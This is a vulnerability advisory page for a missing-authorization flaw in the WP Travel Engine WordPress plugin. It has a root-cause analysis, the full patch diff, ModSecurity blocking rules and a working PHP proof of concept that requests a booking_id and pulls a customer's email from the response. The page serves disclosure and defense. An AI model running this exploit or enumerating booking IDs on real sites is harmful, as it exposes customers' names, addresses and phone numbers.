Published : August 15, 2026

CVE-2026-17087: WP Travel Engine <= 6.8.4 Missing Authorization to Unauthenticated Sensitive Information Disclosure via 'booking_id' Parameter PoC, Patch Analysis & Rule

Severity High (CVSS 7.5)
CWE 862
Vulnerable Version 6.8.4
Patched Version 6.8.5
Disclosed August 14, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-17087: WP Travel Engine versions up to and including 6.8.4 contain a missing authorization vulnerability in the AJAX add-to-cart handler that allows unauthenticated attackers to disclose sensitive booking details belonging to other customers. The vulnerability has a CVSS score of 7.5 and is classified as CWE-862, indicating missing authorization. The affected endpoint is the add_to_cart AJAX action processed by the process_request method in wp-travel-engine/includes/classes/Core/Controllers/Ajax/AddToCart.php.

The root cause is an improper authorization check in the process_request method of the AddToCart AJAX controller. The method accepts a booking_id parameter from the client request, which is used to pre-populate the checkout form fields with the billing details associated with that specific booking. In vulnerable versions, the method processes this user-supplied booking_id without verifying that the current user has permission to access the booking’s data. The only protective measure was a nonce, which is exposed publicly to all site visitors through the wteL10n JavaScript global on trip pages, making it a CSRF token rather than an authorization control. This design flaw allows any unauthenticated user to request the details of any booking by simply guessing or enumerating booking IDs.

An attacker can exploit this vulnerability by sending a POST request to the /wp-admin/admin-ajax.php endpoint with the action parameter set to add_to_cart, the cart_version parameter set to a truthy value, and a booking_id parameter set to the target booking’s post ID. The publicly available nonce from the wteL10n global can be included or may not even be strictly required depending on the request structure. Since booking post IDs are sequential integers and can be identified quite easily, an attacker can enumerate through many booking IDs to harvest the personal information of multiple customers. The attack is fully unauthenticated and does not require any special privileges, which demonstrates a critical flaw in the plugin’s security posture.

The patch in version 6.8.5 introduces a capability check within the process_request method before processing the cart addition. The patched code checks if the booking_id parameter is present and, if so, verifies the current user has the edit_post capability for that booking using current_user_can(‘edit_post’, $booking_id). If this check fails, the request is terminated with a rest_forbidden_context error and a 403 status code. This change ensures that users can only reference bookings they are authorized to manage or access, effectively closing the information disclosure vector. The patch blocks unauthenticated access entirely while still permitting site administrators and legitimate booking owners to perform their intended actions.

Successful exploitation has a significant privacy impact. An attacker can view the victim customer’s first name, last name, email address, street address, city, and phone number, all of which are rendered as default values in the checkout form fields. This constitutes a serious data breach scenario where personal identifiable information (PII) is exposed to unauthorized parties. This data could then be used for phishing campaigns, identity theft, or selling to third parties. There is no direct privilege escalation or remote code execution, but the confidentiality impact is high given the sensitive nature of the leaked data.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wp-travel-engine/admin/meta-parts/trip-metas.php
+++ b/wp-travel-engine/admin/meta-parts/trip-metas.php
@@ -321,6 +321,13 @@
 			),
 			array(
 				'field' => array(
+					'type'    => 'ALERT',
+					'content' => sprintf( __( 'You can set a maximum seat limit for each price category, either the same across all packages or different per package. <a href="%1$s" target="_blank">Learn more</a>', 'wp-travel-engine' ), 'https://docs.wptravelengine.com/article/seat-allocation-and-booking-capacity/#5-maximum-capacity-per-price-category' ),
+					'status'  => 'info',
+				),
+			),
+			array(
+				'field' => array(
 					'type'              => 'CAPACITY_PER_CATEGORY',
 					'name'              => 'capacity_per_category',
 					'pricingCategories' => $pricing_categories ?? array(),
--- a/wp-travel-engine/dist/admin/coupon-edit.asset.php
+++ b/wp-travel-engine/dist/admin/coupon-edit.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '8277353dfb33e16d527d');
+<?php return array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '08912c9a2645b6b98c13');
--- a/wp-travel-engine/dist/admin/dashboard-analytics/index.asset.php
+++ b/wp-travel-engine/dist/admin/dashboard-analytics/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '44ca57fb29208b31a693');
+<?php return array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '5aef43b4d815d0c002fb');
--- a/wp-travel-engine/dist/admin/exports.asset.php
+++ b/wp-travel-engine/dist/admin/exports.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => 'c2a042a730c49acfd835');
+<?php return array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '6a12516ec2edca38b634');
--- a/wp-travel-engine/dist/admin/global-settings.asset.php
+++ b/wp-travel-engine/dist/admin/global-settings.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '86356fb7645bdb829053');
+<?php return array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '32465460e18253d06016');
--- a/wp-travel-engine/dist/admin/onboarding.asset.php
+++ b/wp-travel-engine/dist/admin/onboarding.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '5e93d1224571bfacd6de');
+<?php return array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '4be42a8d46a3f20add21');
--- a/wp-travel-engine/dist/admin/trip-edit.asset.php
+++ b/wp-travel-engine/dist/admin/trip-edit.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-url'), 'version' => '60acbf194dd75e027565');
+<?php return array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-url'), 'version' => 'c646ddaf6302c21c2eec');
--- a/wp-travel-engine/dist/admin/wte-admin.asset.php
+++ b/wp-travel-engine/dist/admin/wte-admin.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => 'd80a601e944e0fb047b5');
+<?php return array('dependencies' => array(), 'version' => '4956ebd9919f04e9104a');
--- a/wp-travel-engine/dist/global/wte-global.asset.php
+++ b/wp-travel-engine/dist/global/wte-global.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => 'd1e71eae7b91c6c7f334');
+<?php return array('dependencies' => array(), 'version' => '137b2ac8a7dc7194b87d');
--- a/wp-travel-engine/dist/public/components/style-trip-booking-modal.asset.php
+++ b/wp-travel-engine/dist/public/components/style-trip-booking-modal.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => 'bbf031b12179877cfb8e');
+<?php return array('dependencies' => array(), 'version' => '1b11acb421c9fc3b10dd');
--- a/wp-travel-engine/dist/public/components/trip-booking-modal.asset.php
+++ b/wp-travel-engine/dist/public/components/trip-booking-modal.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => 'b0ee21d679f230769049');
+<?php return array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '1263a464cf2ad873d051');
--- a/wp-travel-engine/dist/public/exports.asset.php
+++ b/wp-travel-engine/dist/public/exports.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '9a532dd46007f9cff323');
+<?php return array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '6ea57a185efec59a53f0');
--- a/wp-travel-engine/dist/public/my-account.asset.php
+++ b/wp-travel-engine/dist/public/my-account.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => 'cf8f54981dc96d4507ad');
+<?php return array('dependencies' => array(), 'version' => '7762339fcf66f6b23a17');
--- a/wp-travel-engine/dist/public/single-trip.asset.php
+++ b/wp-travel-engine/dist/public/single-trip.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('wp-dom-ready', 'wp-i18n'), 'version' => '6e543abc3e76809ab22c');
+<?php return array('dependencies' => array('wp-dom-ready', 'wp-i18n'), 'version' => '6d2ea0e8917f12364d27');
--- a/wp-travel-engine/dist/public/trip-archive.asset.php
+++ b/wp-travel-engine/dist/public/trip-archive.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => 'c87fcc31e19d9f79a381');
+<?php return array('dependencies' => array(), 'version' => 'd6f301912378b8f0dce1');
--- a/wp-travel-engine/dist/public/trip-checkout.asset.php
+++ b/wp-travel-engine/dist/public/trip-checkout.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash'), 'version' => '5e5ce07b6fa43207cee7');
+<?php return array('dependencies' => array('lodash'), 'version' => '2400ad1fab990e29c5d0');
--- a/wp-travel-engine/dist/public/trip-search/index.asset.php
+++ b/wp-travel-engine/dist/public/trip-search/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '72b6a552d5164b66a05e');
+<?php return array('dependencies' => array(), 'version' => 'baea4fcddf34b5c065d2');
--- a/wp-travel-engine/dist/public/trip-search/widgets-slider.asset.php
+++ b/wp-travel-engine/dist/public/trip-search/widgets-slider.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '29d5ccd80778727f96fb');
+<?php return array('dependencies' => array(), 'version' => '1aaeb11a0d950f74be39');
--- a/wp-travel-engine/dist/public/trip-wishlist.asset.php
+++ b/wp-travel-engine/dist/public/trip-wishlist.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '776bcfed660fcc72a6ae');
+<?php return array('dependencies' => array(), 'version' => '1543ddc2a85ef5fbd0f2');
--- a/wp-travel-engine/dist/public/wte-public.asset.php
+++ b/wp-travel-engine/dist/public/wte-public.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('wp-i18n'), 'version' => '4aeb757460462b726cae');
+<?php return array('dependencies' => array('wp-i18n'), 'version' => '8cae40857affddb2f7f8');
--- a/wp-travel-engine/includes/class-wte-default-form-fields.php
+++ b/wp-travel-engine/includes/class-wte-default-form-fields.php
@@ -168,7 +168,6 @@
 	 *
 	 * @return array
 	 * @since 6.3.0
-	 * @deprecated enhancement/booking-details
 	 */
 	public static function billing_form_fields( string $mode = 'edit' ): array {
 		return DefaultFormFields::billing( $mode );
@@ -180,7 +179,6 @@
 	 * @param string $mode
 	 *
 	 * @return array
-	 * @deprecated enhancement/booking-details
 	 */
 	public static function booking( string $mode = 'edit' ): array {
 		return DefaultFormFields::billing( $mode );
--- a/wp-travel-engine/includes/classes/Abstracts/EventTable.php
+++ b/wp-travel-engine/includes/classes/Abstracts/EventTable.php
@@ -53,8 +53,17 @@
 	 * so this only runs once per relevant upgrade instead of on every `plugins_loaded`.
 	 *
 	 * @return void
+	 * @since 6.8.5 Added a short-lived transient lock so rapid-fire `plugins_loaded` hits
+	 *             (e.g. a front-end request racing a wp-cron loopback right after activation,
+	 *             before the version options are set) can't pile up repeated `dbDelta()` runs.
 	 */
 	public function maybe_upgrade_table() {
+		if ( get_transient( 'wptravelengine_upgrading_events_table' ) ) {
+			return;
+		}
+
+		set_transient( 'wptravelengine_upgrading_events_table', 1, MINUTE_IN_SECONDS );
+
 		if ( version_compare( get_option( 'wptravelengine_version' ), '6.6.0', '<' ) ) {
 			wptravelengine_create_events_table();
 			static::schedule();
@@ -64,6 +73,8 @@
 			wptravelengine_create_events_table();
 			update_option( 'wptravelengine_events_schema_version', '2' );
 		}
+
+		delete_transient( 'wptravelengine_upgrading_events_table' );
 	}

 	/**
--- a/wp-travel-engine/includes/classes/Assets.php
+++ b/wp-travel-engine/includes/classes/Assets.php
@@ -804,15 +804,21 @@
 		}

 		global $post;
-		global $wtetrip;
-		if ( $post instanceof WP_Post && ( WP_TRAVEL_ENGINE_POST_TYPE === $post->post_type ) ) {
-			$trip_version = get_post_meta( $post->ID, 'trip_version', true );
-			if ( empty( $trip_version ) ) {
-				$trip_version = '0.0.0';
+
+		$trip = is_object( $post ) ? wptravelengine_get_trip( $post->ID ) : null;
+
+		if ( $trip ) {
+			if ( 'days' === $trip->get_trip_duration_unit() ) {
+				$trip_duration_str = ( (int) ( $trip->get_trip_duration() ?: 1 ) - 1 ) . ' days';
+			} else {
+				$duration_arr      = array_map( 'strtolower', wptravelengine_get_trip_duration_arr( $trip, 'both', false ) );
+				$trip_duration_str = implode( ' ', $duration_arr ) ?: '0 day';
 			}
-			$l10n[ 'tripID' ]      = (int) $post->ID;
-			$l10n[ 'tripVersion' ] = $trip_version;
-			$l10n[ 'legacy' ]      = $wtetrip->use_legacy_trip ?? false;
+
+			$l10n[ 'tripID' ]      = $trip->ID;
+			$l10n[ 'tripVersion' ] = $trip->version();
+			$l10n[ 'legacy' ]      = $trip->use_legacy_trip;
+			$l10n[ 'tripDurationStr' ] = $trip_duration_str;
 		}

 		return apply_filters( 'wtel10n', $l10n );
--- a/wp-travel-engine/includes/classes/Core/Controllers/Ajax/AddToCart.php
+++ b/wp-travel-engine/includes/classes/Core/Controllers/Ajax/AddToCart.php
@@ -22,6 +22,8 @@

 	/**
 	 * Process Request.
+	 *
+	 * @since 6.8.5 Added ownership check for caller-supplied `booking_id` to prevent unauthenticated booking data disclosure (IDOR).
 	 */
 	protected function process_request() {

@@ -29,7 +31,20 @@
 		 * Maybe using a new cart.
 		 */
 		if ( $this->request->get_param( 'cart_version' ) ) { // phpcs:ignore
+
+			$booking_id = $this->request->get_param( 'booking_id' );
+			if ( ! empty( $booking_id ) && ! current_user_can( 'edit_post', $booking_id ) ) {
+				wp_send_json_error(
+					new WP_Error(
+						'rest_forbidden_context',
+						__( 'Sorry, you are not allowed to view this resource.', 'wp-travel-engine' )
+					),
+					rest_authorization_required_code()
+				);
+			}
+
 			$result = $this->add_to_cart();
+
 			if ( is_wp_error( $result ) ) {
 				wp_send_json_error( new WP_Error( 'ADD_TO_CART_ERROR', __( 'Invalid data structure.', 'wp-travel-engine' ) ) );
 			} else {
--- a/wp-travel-engine/includes/classes/Core/Models/Post/Trip.php
+++ b/wp-travel-engine/includes/classes/Core/Models/Post/Trip.php
@@ -191,8 +191,14 @@
 	 *
 	 * @return array
 	 * @since 6.7.11 Added wptravelengine_trip_services filter.
+	 * @since 6.8.5 Added wptravelengine_trip_extra_services filter to allow add-ons to override the returned services list.
 	 */
 	public function get_services(): array {
+		$_services = apply_filters( 'wptravelengine_trip_extra_services', false, $this );
+
+		if ( false !== $_services ) {
+			return $_services;
+		}

 		if ( ! post_type_exists( 'wte-services' ) ) {
 			return array();
--- a/wp-travel-engine/includes/classes/Core/PostTypes/Booking.php
+++ b/wp-travel-engine/includes/classes/Core/PostTypes/Booking.php
@@ -656,14 +656,15 @@
 	 * Appends pill-style status badges to the booking title in the admin list.
 	 * Renders on the "All" and "Published" list tabs, and on all search results.
 	 *
-	 * @param string[] $states Existing post states.
-	 * @param WP_Post $post   Current post.
+	 * @param string[]      $states Existing post states.
+	 * @param WP_Post|null $post   Current post.
 	 * @return string[]
 	 * @since 6.8.0
 	 * @since 6.8.1 Badges now render in search results regardless of post_status parameter.
+	 * @since 6.8.5 Accept nullable $post; core calls get_post_states( null ) from nav-menu setup.
 	 */
-	public function append_booking_state_badges( array $states, WP_Post $post ): array {
-		if ( 'booking' !== $post->post_type ) {
+	public function append_booking_state_badges( array $states, ?WP_Post $post ): array {
+		if ( ! $post instanceof WP_Post || 'booking' !== $post->post_type ) {
 			return $states;
 		}

--- a/wp-travel-engine/includes/classes/Filters/AddCartItems.php
+++ b/wp-travel-engine/includes/classes/Filters/AddCartItems.php
@@ -7,7 +7,6 @@

 namespace WPTravelEngineFilters;

-use WPTravelEngineCoreCartItemsExtraService;
 use WPTravelEngineCoreCartAdjustmentsTaxAdjustment;
 use WPTravelEngineCoreCartCart;
 use WPTravelEngineCoreCartAdjustmentsCouponAdjustment;
@@ -137,8 +136,12 @@
 	 *
 	 * @return void
 	 * @since 6.4.0
+	 * @since 6.8.5 Added wptravelengine_cart_extra_services_handled filter to allow add-ons to short-circuit extra services handling.
 	 */
 	public function add_extra_services( Item $item, $cart_attributes, $cart ) {
+		if ( apply_filters( 'wptravelengine_cart_extra_services_handled', false, $item, $cart_attributes, $cart ) ) {
+			return;
+		}

 		if ( ! ( $trip_extras = $item->subtotal_reservations['extraServices'] ?? null ) ) {
 			return;
@@ -156,7 +159,7 @@
 		if ( isset( $extra_services_items ) && ! empty( $extra_services_items ) ) {
 			foreach ( $extra_services_items as $trip_extra ) {
 				$item->add_additional_line_items(
-					new ExtraService(
+					wptravelengine_get_cart_extra_services(
 						$cart,
 						array(
 							'label'    => $trip_extra['label'],
@@ -184,7 +187,7 @@
 				}

 				$item->add_additional_line_items(
-					new ExtraService(
+					wptravelengine_get_cart_extra_services(
 						$cart,
 						array(
 							'label'    => $label,
--- a/wp-travel-engine/includes/classes/Filters/Events.php
+++ b/wp-travel-engine/includes/classes/Filters/Events.php
@@ -101,10 +101,11 @@
 	 * @return void
 	 * @since 6.6.9
 	 * @since 6.8.3 Added `void` return type.
+	 * @since 6.8.5 First run deferred to +60s instead of `time()` so activation never arms an instantly-due event.
 	 */
 	public static function schedule(): void {
 		if ( ! wp_next_scheduled( 'wptravelengine_check_events' ) ) {
-			wp_schedule_event( time(), 'every_minute', 'wptravelengine_check_events' );
+			wp_schedule_event( time() + 60, 'every_minute', 'wptravelengine_check_events' );
 		}
 	}

--- a/wp-travel-engine/includes/classes/Helpers/BookedItem.php
+++ b/wp-travel-engine/includes/classes/Helpers/BookedItem.php
@@ -6,9 +6,9 @@

 namespace WPTravelEngineHelpers;

-use WPTravelEngineCoreCartItemsExtraService;
-use WPTravelEngineCoreCartItemsPricingCategory;
 use WPTravelEngineCoreModelsPostTrip;
+use WPTravelEngineCoreCartItemsPricingCategory;
+
 class BookedItem {

 	/**
--- a/wp-travel-engine/includes/classes/Plugin.php
+++ b/wp-travel-engine/includes/classes/Plugin.php
@@ -346,6 +346,12 @@
 		}
 	}

+	/**
+	 * @since 6.8.5 Activation closure now writes `wptravelengine_version` directly, instead of
+	 *             relying solely on the `admin_init`-gated `check_version()`, so
+	 *             `EventTable::maybe_upgrade_table()` doesn't keep re-running its version-gated
+	 *             check on every request between activation and the next wp-admin page load.
+	 */
 	protected function hooks() {
 		$this->define_admin_hooks();
 		$this->define_public_hooks();
@@ -412,6 +418,8 @@

 				Events::schedule();
 				wptravelengine_create_events_table();
+
+				update_option( 'wptravelengine_version', WP_TRAVEL_ENGINE_VERSION );
 			}
 		);

--- a/wp-travel-engine/includes/helpers/helpers-prices.php
+++ b/wp-travel-engine/includes/helpers/helpers-prices.php
@@ -368,7 +368,7 @@
 /**
  * Get partial payment data for trip.
  *
- * @return void
+ * @return array
  */
 function wp_travel_engine_get_trip_partial_payment_data( $trip_id ) {
 	$partial_payment           = array();
@@ -425,10 +425,10 @@
 /**
  * Get tax data for trip.
  *
- * @return void
+ * @return array
  */
 function wp_travel_engine_get_tax_percentage() {
-
+	$tax_details    = array();
 	$wte_options    = get_option( 'wp_travel_engine_settings', true );
 	$tax_percentage = isset( $wte_options['tax_percentage'] ) ? $wte_options['tax_percentage'] : '';
 	$tax_type       = isset( $wte_options['tax_type_option'] ) ? $wte_options['tax_type_option'] : '';
--- a/wp-travel-engine/includes/helpers/helpers.php
+++ b/wp-travel-engine/includes/helpers/helpers.php
@@ -22,6 +22,26 @@
 use WPTravelEngineUtilitiesPrice;
 use WPTravelEngineUtilitiesRequestParser;
 use WPTravelEngineHelpersPackageDateParser;
+use WPTravelEngineCoreCartItemsExtraService;
+use WPTravelEngineCoreCartCart;
+
+/**
+ * Get cart extra service item.
+ *
+ * @param Cart  $cart
+ * @param array $args
+ * @return ExtraService
+ * @since 6.8.5
+ */
+function wptravelengine_get_cart_extra_services( Cart $cart, $args ) {
+	$extras_items = apply_filters( 'wptravelengine_cart_extra_services_instance', false, $cart, $args );
+
+	if ( $extras_items instanceof ExtraService ) {
+		return $extras_items;
+	}
+
+	return new ExtraService( $cart, $args );
+}

 /**
  * Get PackageDateParser instance.
@@ -1664,7 +1684,10 @@

 		switch ( $settings['trip_tabs']['field'][ $value ] ) {
 			case 'wp_editor':
-				if ( empty( $post_meta['tab_content'][ $key . '_wpeditor' ] ?? '' ) && empty( $post_meta['trip_highlights'] ?? '' ) ) {
+				if ( empty( $post_meta['tab_content'][ $key . '_wpeditor' ] ) ) {
+					if ( ( 1 === $key || '1' === $key ) && ! empty( $post_meta['trip_highlights'] ) ) {
+						break;
+					}
 					unset( $settings['trip_tabs']['id'][ $value ] );
 				}
 				break;
@@ -3076,7 +3099,8 @@
  * @param string $key The type of pricing to get.
  * @return array
  * @since v6.6.4
- * @updated 6.6.10
+ * @since 6.6.10
+ * @since 6.8.5 Use translation-ready default labels as they are not editable.
  */
 function wptravelengine_get_pricing_type( $all = false, $key = 'per-person' ) {
 	$defaults = array(
@@ -3092,6 +3116,10 @@

 	$pricing_type = Options::get( 'wptravelengine_pricing_type', $defaults );

+	foreach ( $defaults as $type => $data ) {
+		$pricing_type[ $type ]['label'] = $data['label'];
+	}
+
 	$pricing_types = apply_filters( 'wptravelengine-packages-labels', $pricing_type );

 	return $all ? $pricing_types : ( $pricing_types[ $key ] ?? $pricing_types['per-person'] );
--- a/wp-travel-engine/includes/rest-api/class-trip-controller.php
+++ b/wp-travel-engine/includes/rest-api/class-trip-controller.php
@@ -71,6 +71,14 @@
 	 * @return array
 	 */
 	public function rest_trip_query( $args, $request ) {
+		$query_params = $request->get_query_params();
+		if ( ! isset( $query_params['per_page'] ) ) {
+			$statuses = ! empty( $args['post_status'] ) ? (array) $args['post_status'] : array( 'publish' );
+			$counts   = wp_count_posts( $this->post_type );
+			$total    = array_sum( array_map( fn( $status ) => (int) ( $counts->$status ?? 0 ), $statuses ) );
+			$args['posts_per_page'] = max( 1, $total );
+		}
+
 		if ( isset( $request['by'] ) ) {
 			switch ( $request['by'] ) {
 				case 'featured':
--- a/wp-travel-engine/vendor/composer/installed.php
+++ b/wp-travel-engine/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'wp-travel-engine/core',
-        'pretty_version' => 'v6.8.4',
-        'version' => '6.8.4.0',
-        'reference' => 'b1e42885ddcdb5b260fcde3e83185fffcdd559e6',
+        'pretty_version' => 'v6.8.5',
+        'version' => '6.8.5.0',
+        'reference' => '6b607dce547a5bc2e09435e4570eecc0008b2a12',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -29,9 +29,9 @@
             'dev_requirement' => false,
         ),
         'wp-travel-engine/core' => array(
-            'pretty_version' => 'v6.8.4',
-            'version' => '6.8.4.0',
-            'reference' => 'b1e42885ddcdb5b260fcde3e83185fffcdd559e6',
+            'pretty_version' => 'v6.8.5',
+            'version' => '6.8.5.0',
+            'reference' => '6b607dce547a5bc2e09435e4570eecc0008b2a12',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
--- a/wp-travel-engine/wp-travel-engine.php
+++ b/wp-travel-engine/wp-travel-engine.php
@@ -15,7 +15,7 @@
  * Plugin Name:       WP Travel Engine - Travel and Tour Booking Plugin
  * Plugin URI:        https://wordpress.org/plugins/wp-travel-engine/
  * Description:       WP Travel Engine is a free travel booking WordPress plugin to create travel and tour packages for tour operators and travel agencies. It is a complete travel management system and includes plenty of useful features. You can create your travel booking website using WP Travel Engine in less than 5 minutes.
- * Version:           6.8.4
+ * Version:           6.8.5
  * Author:            WP Travel Engine
  * Author URI:        https://wptravelengine.com/
  * License:           GPLv3
@@ -30,7 +30,7 @@
 defined( 'ABSPATH' ) || exit;

 const WP_TRAVEL_ENGINE_FILE_PATH = __FILE__;
-const WP_TRAVEL_ENGINE_VERSION   = '6.8.4';
+const WP_TRAVEL_ENGINE_VERSION   = '6.8.5';

 /**
  * Load plugin updater file

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-17087
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-17087 via WP Travel Engine AJAX',severity:'CRITICAL',tag:'CVE-2026-17087'"
  SecRule ARGS_POST:action "@streq add_to_cart" "chain"
    SecRule REQUEST_METHOD "@streq POST" "chain"
      SecRule ARGS_POST:cart_version "@rx ^1$" "chain"
        SecRule ARGS_POST:booking_id "@rx ^[0-9]+$" "t:none"

# Additional rule chaining to ensure the request is unauthenticated and targets a valid booking ID
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261995,phase:2,deny,status:403,chain,msg:'CVE-2026-17087 via WP Travel Engine booking enumeration',severity:'CRITICAL',tag:'CVE-2026-17087'"
  SecRule ARGS_POST:action "@streq add_to_cart" "chain"
    SecRule ARGS_POST:booking_id "@rx ^[0-9]+$" "chain"
      SecRule REQUEST_METHOD "@streq POST" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-17087 - WP Travel Engine <= 6.8.4 - Missing Authorization to Unauthenticated Sensitive Information Disclosure via 'booking_id' Parameter

$target_url = 'https://example.com'; // Change this to the target WordPress site

$booking_id = 123; // The booking post ID to view

$endpoint = $target_url . '/wp-admin/admin-ajax.php';

$data = array(
    'action'       => 'add_to_cart',
    'cart_version' => '1',
    'booking_id'   => $booking_id
);

$ch = curl_init($endpoint);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($httpCode === 200 && $response !== false) {
    // Check for form field values in the response
    if (preg_match('/name="email"[^>]*value="([^"]*)"/i', $response, $matches) ||
        preg_match('/"email":s*"([^"]*)"/i', $response, $matches)) {
        echo "[+] Extracted email address: " . $matches[1] . PHP_EOL;
    } else {
        echo "[+] Response received. Check manually for booking data." . PHP_EOL;
        echo $response . PHP_EOL;
    }
} else {
    echo "[-] Request failed. HTTP Code: " . $httpCode . PHP_EOL;
    echo "[-] Response: " . $response . PHP_EOL;
}

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.